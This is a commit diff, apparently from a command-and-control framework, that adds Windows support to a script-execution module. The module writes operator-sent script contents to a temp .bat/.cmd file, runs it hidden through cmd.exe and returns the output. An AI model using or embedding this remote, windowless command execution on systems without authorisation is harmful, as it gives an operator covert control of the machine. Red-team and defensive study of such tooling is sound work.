Script CI tests

This commit is contained in:
maxdcb
2026-04-30 13:56:41 +02:00
parent 9e5499018c
commit 853edb4d33
3 changed files with 222 additions and 5 deletions
+158 -3
View File
@@ -1,10 +1,21 @@
#include "Script.hpp"
#include <cstring>
#include <array>
#include <chrono>
#include <cctype>
#include <cstring>
#include <filesystem>
#include <fstream>
#include <sstream>
#include <string>
#include <thread>
#include "Common.hpp"
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#endif
using namespace std;
@@ -29,6 +40,121 @@ __attribute__((visibility("default"))) Script * ScriptConstructor()
#endif
namespace
{
#ifdef _WIN32
bool hasWindowsScriptExtension(const std::string& path)
{
std::string extension = std::filesystem::path(path).extension().string();
for (char& c : extension)
{
c = static_cast<char>(std::tolower(static_cast<unsigned char>(c)));
}
return extension == ".bat" || extension == ".cmd";
}
std::string makeWindowsTempScriptPath(const std::string& inputFile)
{
char tempPathBuffer[MAX_PATH + 1] = {};
DWORD tempPathLength = GetTempPathA(MAX_PATH, tempPathBuffer);
if (tempPathLength == 0 || tempPathLength > MAX_PATH)
{
return {};
}
const std::string extension = std::filesystem::path(inputFile).extension().string();
std::ostringstream name;
name << "c2core_script_" << GetCurrentProcessId() << "_"
<< std::chrono::steady_clock::now().time_since_epoch().count()
<< "_"
<< std::hash<std::thread::id>{}(std::this_thread::get_id())
<< extension;
std::filesystem::path tempPath(tempPathBuffer);
tempPath /= name.str();
return tempPath.string();
}
std::string runWindowsScriptFile(const std::string& scriptPath)
{
std::string result;
SECURITY_ATTRIBUTES securityAttributes;
securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
securityAttributes.bInheritHandle = TRUE;
securityAttributes.lpSecurityDescriptor = nullptr;
HANDLE pipeRead = nullptr;
HANDLE pipeWrite = nullptr;
if (!CreatePipe(&pipeRead, &pipeWrite, &securityAttributes, 0))
{
return "CreatePipe failed.";
}
if (!SetHandleInformation(pipeRead, HANDLE_FLAG_INHERIT, 0))
{
CloseHandle(pipeRead);
CloseHandle(pipeWrite);
return "SetHandleInformation failed.";
}
STARTUPINFOA startupInfo;
ZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdOutput = pipeWrite;
startupInfo.hStdError = pipeWrite;
startupInfo.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
PROCESS_INFORMATION processInfo;
ZeroMemory(&processInfo, sizeof(processInfo));
char comspecBuffer[MAX_PATH + 1] = {};
DWORD comspecLength = GetEnvironmentVariableA("ComSpec", comspecBuffer, MAX_PATH);
std::string comspec = (comspecLength > 0 && comspecLength <= MAX_PATH)
? std::string(comspecBuffer, comspecLength)
: "C:\\Windows\\System32\\cmd.exe";
std::string commandLine = "\"" + comspec + "\" /Q /C \"\"" + scriptPath + "\"\"";
std::vector<char> mutableCommandLine(commandLine.begin(), commandLine.end());
mutableCommandLine.push_back('\0');
BOOL created = CreateProcessA(
nullptr,
mutableCommandLine.data(),
nullptr,
nullptr,
TRUE,
CREATE_NO_WINDOW,
nullptr,
nullptr,
&startupInfo,
&processInfo);
CloseHandle(pipeWrite);
if (!created)
{
CloseHandle(pipeRead);
return "CreateProcess failed.";
}
std::array<char, 4096> buffer{};
DWORD bytesRead = 0;
while (ReadFile(pipeRead, buffer.data(), static_cast<DWORD>(buffer.size()), &bytesRead, nullptr) && bytesRead > 0)
{
result.append(buffer.data(), bytesRead);
}
WaitForSingleObject(processInfo.hProcess, INFINITE);
CloseHandle(processInfo.hThread);
CloseHandle(processInfo.hProcess);
CloseHandle(pipeRead);
return result;
}
#endif
}
Script::Script()
#ifdef BUILD_TEAMSERVER
@@ -112,11 +238,40 @@ int Script::process(C2Message &c2Message, C2Message &c2RetMessage)
#elif _WIN32
result += "Not implemented for windows";
if (!hasWindowsScriptExtension(c2Message.inputfile()))
{
result = "Unsupported script type on Windows. Use .bat or .cmd.";
}
else
{
const std::string tempScriptPath = makeWindowsTempScriptPath(c2Message.inputfile());
if (tempScriptPath.empty())
{
result = "Failed to create temporary script path.";
}
else
{
{
std::ofstream tempScript(tempScriptPath, std::ios::binary);
tempScript.write(script.data(), static_cast<std::streamsize>(script.size()));
}
if (!std::filesystem::exists(tempScriptPath))
{
result = "Failed to write temporary script.";
}
else
{
result = runWindowsScriptFile(tempScriptPath);
std::error_code ignored;
std::filesystem::remove(tempScriptPath, ignored);
}
}
}
#endif
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_returnvalue(result);
return 0;